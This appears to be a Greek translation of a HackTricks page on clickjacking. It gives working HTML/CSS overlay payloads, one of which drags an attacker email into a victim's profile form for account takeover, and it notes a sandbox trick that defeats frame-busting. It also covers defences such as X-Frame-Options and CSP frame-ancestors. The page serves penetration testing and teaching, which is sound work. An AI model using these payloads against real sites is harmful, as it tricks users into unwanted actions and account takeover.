mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
191 lines
13 KiB
Markdown
191 lines
13 KiB
Markdown
# Clickjacking
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Τι είναι το Clickjacking
|
||
|
||
Σε μια επίθεση clickjacking, ένας **χρήστης** **παραπλανάται** να **κλικάρει** σε ένα **στοιχείο** σε μια ιστοσελίδα που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε απρόβλεπτες συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η διαδικτυακή αγορά προϊόντων.
|
||
|
||
### Τέχνασμα προεγκατάστασης φορμών
|
||
|
||
Μερικές φορές είναι δυνατόν να **συμπληρώσετε την τιμή πεδίων μιας φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας**. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το payload clickjacking ώστε ο χρήστης να πατήσει το κουμπί Υποβολή.
|
||
|
||
### Συμπλήρωση φόρμας με Drag\&Drop
|
||
|
||
Αν χρειάζεστε τον χρήστη να **συμπληρώσει μια φόρμα** αλλά δεν θέλετε να του ζητήσετε άμεσα να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email και ή συγκεκριμένος κωδικός που γνωρίζετε), μπορείτε απλά να του ζητήσετε να **Drag\&Drop** κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε [**αυτό το παράδειγμα**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||
|
||
### Βασικό Payload
|
||
```markup
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 700px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
div {
|
||
position:absolute;
|
||
top:470px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
</style>
|
||
<div>Click me</div>
|
||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||
```
|
||
### Πολυδιάστατο Payload
|
||
```markup
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 500px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
.firstClick, .secondClick {
|
||
position:absolute;
|
||
top:330px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
.secondClick {
|
||
left:210px;
|
||
}
|
||
</style>
|
||
<div class="firstClick">Click me first</div>
|
||
<div class="secondClick">Click me next</div>
|
||
<iframe src="https://vulnerable.net/account"></iframe>
|
||
```
|
||
### Drag\&Drop + Click payload
|
||
```markup
|
||
<html>
|
||
<head>
|
||
<style>
|
||
#payload{
|
||
position: absolute;
|
||
top: 20px;
|
||
}
|
||
iframe{
|
||
width: 1000px;
|
||
height: 675px;
|
||
border: none;
|
||
}
|
||
.xss{
|
||
position: fixed;
|
||
background: #F00;
|
||
}
|
||
</style>
|
||
</head>
|
||
<body>
|
||
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
||
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
||
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
||
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
||
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
||
</body>
|
||
</html>
|
||
```
|
||
### XSS + Clickjacking
|
||
|
||
Αν έχετε εντοπίσει μια **επίθεση XSS που απαιτεί από έναν χρήστη να κάνει κλικ** σε κάποιο στοιχείο για να **ενεργοποιήσει** το XSS και η σελίδα είναι **ευάλωτη σε clickjacking**, μπορείτε να το εκμεταλλευτείτε για να παραπλανήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.\
|
||
Παράδειγμα:\
|
||
&#xNAN;_You βρήκατε ένα **self XSS** σε κάποιες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που **μόνο εσείς μπορείτε να ρυθμίσετε και να διαβάσετε**). Η σελίδα με τη **φόρμα** για να ρυθμίσετε αυτές τις λεπτομέρειες είναι **ευάλωτη** σε **Clickjacking** και μπορείτε να **προκαταλάβετε** τη **φόρμα** με τις παραμέτρους GET._\
|
||
\_\_Ένας επιτιθέμενος θα μπορούσε να προετοιμάσει μια **επίθεση Clickjacking** σε αυτή τη σελίδα **προκαταβάλλοντας** τη **φόρμα** με το **XSS payload** και **παραπλανώντας** τον **χρήστη** να **υποβάλει** τη φόρμα. Έτσι, **όταν η φόρμα υποβληθεί** και οι τιμές τροποποιηθούν, ο **χρήστης θα εκτελέσει το XSS**.
|
||
|
||
## Στρατηγικές για την Ελάφρυνση του Clickjacking
|
||
|
||
### Άμυνες Πλευράς Πελάτη
|
||
|
||
Τα σενάρια που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελέσουν ενέργειες για να αποτρέψουν το Clickjacking:
|
||
|
||
- Διασφάλιση ότι το παράθυρο της εφαρμογής είναι το κύριο ή το πάνω παράθυρο.
|
||
- Κάνοντάς τα όλα τα πλαίσια ορατά.
|
||
- Αποτρέποντας τα κλικ σε αόρατα πλαίσια.
|
||
- Ανίχνευση και ειδοποίηση χρηστών για πιθανές απόπειρες Clickjacking.
|
||
|
||
Ωστόσο, αυτά τα σενάρια καταστροφής πλαισίων μπορεί να παρακαμφθούν:
|
||
|
||
- **Ρυθμίσεις Ασφαλείας Περιηγητών:** Ορισμένοι περιηγητές μπορεί να αποκλείσουν αυτά τα σενάρια με βάση τις ρυθμίσεις ασφαλείας τους ή την έλλειψη υποστήριξης JavaScript.
|
||
- **HTML5 iframe `sandbox` Attribute:** Ένας επιτιθέμενος μπορεί να εξουδετερώσει τα σενάρια καταστροφής πλαισίων ρυθμίζοντας το `sandbox` attribute με τιμές `allow-forms` ή `allow-scripts` χωρίς `allow-top-navigation`. Αυτό αποτρέπει το iframe από το να επαληθεύσει αν είναι το πάνω παράθυρο, π.χ.,
|
||
```html
|
||
<iframe
|
||
id="victim_website"
|
||
src="https://victim-website.com"
|
||
sandbox="allow-forms allow-scripts"></iframe>
|
||
```
|
||
Οι τιμές `allow-forms` και `allow-scripts` επιτρέπουν ενέργειες μέσα στο iframe ενώ απενεργοποιούν την πλοήγηση σε ανώτερο επίπεδο. Για να διασφαλιστεί η επιθυμητή λειτουργικότητα της στοχευμένης ιστοσελίδας, μπορεί να είναι απαραίτητες επιπλέον άδειες όπως `allow-same-origin` και `allow-modals`, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα κονσόλας του προγράμματος περιήγησης μπορούν να καθοδηγήσουν ποιες άδειες να επιτραπούν.
|
||
|
||
### Αμυντικές Στρατηγικές Server-Side
|
||
|
||
#### X-Frame-Options
|
||
|
||
Η **`X-Frame-Options` HTTP response header** ενημερώνει τα προγράμματα περιήγησης σχετικά με τη νομιμότητα της απόδοσης μιας σελίδας σε ένα `<frame>` ή `<iframe>`, βοηθώντας στην πρόληψη του Clickjacking:
|
||
|
||
- `X-Frame-Options: deny` - Κανένα domain δεν μπορεί να πλαισιώσει το περιεχόμενο.
|
||
- `X-Frame-Options: sameorigin` - Μόνο η τρέχουσα ιστοσελίδα μπορεί να πλαισιώσει το περιεχόμενο.
|
||
- `X-Frame-Options: allow-from https://trusted.com` - Μόνο η καθορισμένη 'uri' μπορεί να πλαισιώσει τη σελίδα.
|
||
- Σημειώστε τους περιορισμούς: αν το πρόγραμμα περιήγησης δεν υποστηρίζει αυτή τη οδηγία, μπορεί να μην λειτουργήσει. Ορισμένα προγράμματα περιήγησης προτιμούν την οδηγία CSP frame-ancestors.
|
||
|
||
#### Content Security Policy (CSP) frame-ancestors directive
|
||
|
||
Η **`frame-ancestors` οδηγία στο CSP** είναι η προτεινόμενη μέθοδος για την προστασία από το Clickjacking:
|
||
|
||
- `frame-ancestors 'none'` - Παρόμοιο με το `X-Frame-Options: deny`.
|
||
- `frame-ancestors 'self'` - Παρόμοιο με το `X-Frame-Options: sameorigin`.
|
||
- `frame-ancestors trusted.com` - Παρόμοιο με το `X-Frame-Options: allow-from`.
|
||
|
||
Για παράδειγμα, το παρακάτω CSP επιτρέπει μόνο την πλαισίωση από το ίδιο domain:
|
||
|
||
`Content-Security-Policy: frame-ancestors 'self';`
|
||
|
||
Περισσότερες λεπτομέρειες και σύνθετα παραδείγματα μπορούν να βρεθούν στην [τεκμηρίωση frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) και στην [τεκμηρίωση frame-ancestors της Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
||
|
||
### Content Security Policy (CSP) με `child-src` και `frame-src`
|
||
|
||
Η **Content Security Policy (CSP)** είναι ένα μέτρο ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα καθορίζοντας ποιες πηγές πρέπει να επιτρέψει το πρόγραμμα περιήγησης να φορτώσουν περιεχόμενο.
|
||
|
||
#### `frame-src` Directive
|
||
|
||
- Ορίζει έγκυρες πηγές για frames.
|
||
- Πιο συγκεκριμένο από την οδηγία `default-src`.
|
||
```
|
||
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||
```
|
||
Αυτή η πολιτική επιτρέπει πλαίσια από την ίδια προέλευση (self) και https://trusted-website.com.
|
||
|
||
#### `child-src` Οδηγία
|
||
|
||
- Εισήχθη στο επίπεδο 2 του CSP για να ορίσει έγκυρες πηγές για web workers και πλαίσια.
|
||
- Λειτουργεί ως εναλλακτική για το frame-src και worker-src.
|
||
```
|
||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||
```
|
||
Αυτή η πολιτική επιτρέπει πλαίσια και εργαζόμενους από την ίδια προέλευση (self) και https://trusted-website.com.
|
||
|
||
**Σημειώσεις Χρήσης:**
|
||
|
||
- Απαξίωση: το child-src καταργείται υπέρ του frame-src και worker-src.
|
||
- Συμπεριφορά Εναλλακτικής: Εάν το frame-src απουσιάζει, το child-src χρησιμοποιείται ως εναλλακτική για τα πλαίσια. Εάν και τα δύο απουσιάζουν, χρησιμοποιείται το default-src.
|
||
- Αυστηρός Ορισμός Πηγής: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτρέψετε την εκμετάλλευση.
|
||
|
||
#### Σενάρια JavaScript για Σπάσιμο Πλαισίων
|
||
|
||
Αν και δεν είναι εντελώς αδιάβλητα, τα σενάρια βασισμένα σε JavaScript για σπάσιμο πλαισίων μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να πλαισιωθεί. Παράδειγμα:
|
||
```javascript
|
||
if (top !== self) {
|
||
top.location = self.location
|
||
}
|
||
```
|
||
#### Χρήση Αντι-CSRF Tokens
|
||
|
||
- **Επικύρωση Token:** Χρησιμοποιήστε αντι-CSRF tokens σε διαδικτυακές εφαρμογές για να διασφαλίσετε ότι οι αιτήσεις που αλλάζουν κατάσταση γίνονται σκόπιμα από τον χρήστη και όχι μέσω μιας Clickjacked σελίδας.
|
||
|
||
## Αναφορές
|
||
|
||
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|